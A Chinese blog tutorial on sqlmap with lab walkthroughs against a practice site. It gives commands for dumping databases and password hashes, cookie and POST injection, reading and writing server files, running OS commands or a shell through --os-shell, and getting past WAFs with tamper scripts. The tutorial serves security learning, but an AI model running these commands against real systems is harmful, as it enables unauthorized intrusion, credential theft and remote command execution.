Sqlmap簡單使用詳解

Sqlmap概述

Sqlap是一個開源的、自動化的SQL注入工具,其主要功能是掃描、發現並利用給定的URL的SQL注入漏洞,內置了很多繞過tamper腳本,功能非常強大
(當然在檢測漏洞的時候最好就是手工配合工具)

工作原理

它的工作原理和手工注入的原理是一樣的:檢測動態頁面中get/post參數、cookie、 http頭,並爆出數據。
不需要我們再手動寫payload,因爲它有非常強大的引擎,各種各樣的參數、各種各樣的位置,它都可以去完成SQL注入漏洞的檢測、利用、以及數據的提取。

Win安裝

這個sqlmap需要python2纔可以正常執行,所以先前需安裝python2。然後去官網下載安裝就好了,一步到位~
(注意python3不行哦,如果你已經安裝了python3,本地同時安裝python2和python3,需要注意修改其中一個python執行文件的名字,以便在path中添加環境變量的時候,可以正確區分)

Sqlmap使用

常用

判斷是否存在注入
sqlmap.py -u [注入點]

判斷文本中的請求是否存在注入
sqlmap.py -r [文件目錄]/[文件名]

查詢當前用戶下的所有數據庫
sqlmap.py -u [注入點] --dbs

獲取數據庫中的表名
sqlmap.py -u [注入點] -D [庫名] --tables

獲取表中的字段名
sqlmap.py -u [注入點] -D [庫名] -T [表名] --columns

獲取字段內容
sqlmap.py -u [注入點] -D [庫名] -T [表名] -C[字段1],[字段2] --dump

獲取數據庫的所有用戶
sqlmap.py -u [注入點] --users

獲取數據庫用戶密碼
sqlmap.py -u [注入點] --passwords

獲取當前網站數據庫名稱
sqlmap.py -u [注入點] --current-db

獲取當前網站數據庫的用戶名稱
sqlmap.py -u [注入點] --current-user

進階

--level 5 探測等級
默認爲1. 等級越高,所含的Payload越多,測試的越全面

--is-dba 當前用戶是否爲管理權限
sqlmap.py -u [注入點] --is-dba

列出數據庫管理員角色
sqlmap.py -u [注入點] --roles

HTTP Referer頭
sqlmap.py -u [注入點] --referer

運行自定義SQL語句
sqlmap.py -u [注入點] --sql-shell
sql-shell>select * from sql.users limit 0,1

運行任意操作系統命令
--os-cmd,--os-shell

從數據庫服務器中讀取文件(會自動返回文件路徑)
sqlmap.py -u [注入點] --file-read [文件路徑及文件名]

上傳文件到數據庫服務器中
sqlmap.py -u [注入點] --file-write [文件路徑及文件名] --file-dest [指定文件所放服務器的路徑及文件名]

SQLmap自帶繞過腳本tamper講解
sqlmap -u [url] --tamper [模塊名]
可以使用--identify-waf對一些網站是否有安全防護進行試探

tamper腳本
sqlmap中的tamper腳本來對目標進行更高效的攻擊。通過修改tamper腳本模板,我們可以進行sqlmap繞過waf的操作。
tamper模塊的工作原理
通過python腳本完成對於特定命令或參數的替換修改,從而可以達到使用sqlmap進行waf繞過操作。
常用tamper腳本參考:https://blog.csdn.net/qq_34444097/article/details/82717357
 

實驗

一、Mysql注入

sqlmap.py -u http://www.any.com/wcms/show.php?id=33 使用的參數是-u,意思是url
在這裏插入圖片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --dbs
在這裏插入圖片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --current-db
在這裏插入圖片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms --tables
在這裏插入圖片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users --columns
在這裏插入圖片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users -C username,password --dump
在這裏插入圖片描述
去MD5在線解密得到admin,123456
 
(以下實驗就不做過多重複後續的演示了)

二、cookie注入

抓包
在這裏插入圖片描述
sqlmap.py -u http://www.any.com/sqli/Less-20/index.php --cookie “uname=admin” --level 2
HTTP Cookie在level爲2的時候就會測試,HTTP User-Agent/Referer頭在level爲3的時候就會測試
在這裏插入圖片描述
sqlmap.py -u http://www.any.com/sqli/Less-20/index.php --cookie “uname=admin” --level 2 –dbs
在這裏插入圖片描述

三、post注入

抓包
在這裏插入圖片描述
保存在sqlmap安裝目錄下
在這裏插入圖片描述
python sqlmap.py -r 1.txt --current-db
在這裏插入圖片描述

四、交互式shell

交互式寫shell使用的參數 --sqlmap-shell
用戶可以看到交互式的sqlmap shell,它具有所有以前運行的歷史記錄,包括使用過的選項和/或開關。還可以直接使用sqlmap進行注入的相關參數直接進行SQL注入操作
在這裏插入圖片描述
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --os-cmd=ipconfig
在這裏插入圖片描述
python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --os-shell
在這裏插入圖片描述

五、時間盲注

sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --technique T --time-sec 6 --current-db
(時間盲注sleep默認爲5)
在這裏插入圖片描述

六、簡單繞waf

sqlmap.py -u http://www.any.com/fwcms/show.php?id=32 --dbs --batch --flush-session --tamper=equaltolike.py,space2comment.py,randomcase.py
–batch:用於從不詢問用戶輸入,使用所有默認配置
–flush-session:爲了刷新當前目標的會話文件
equaltolike.py:用like代替等號
space2comment.py:用註釋符/**/替換空間字符(‘ ‘)
randomcase.py:隨機大小寫
在這裏插入圖片描述
先演示這麼些吧~
最後,有機會可以去研究下tamper模塊,遇到waf時進行fuzz繞過或嘗試自己寫一個tamper
 
GOT IT!

 
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章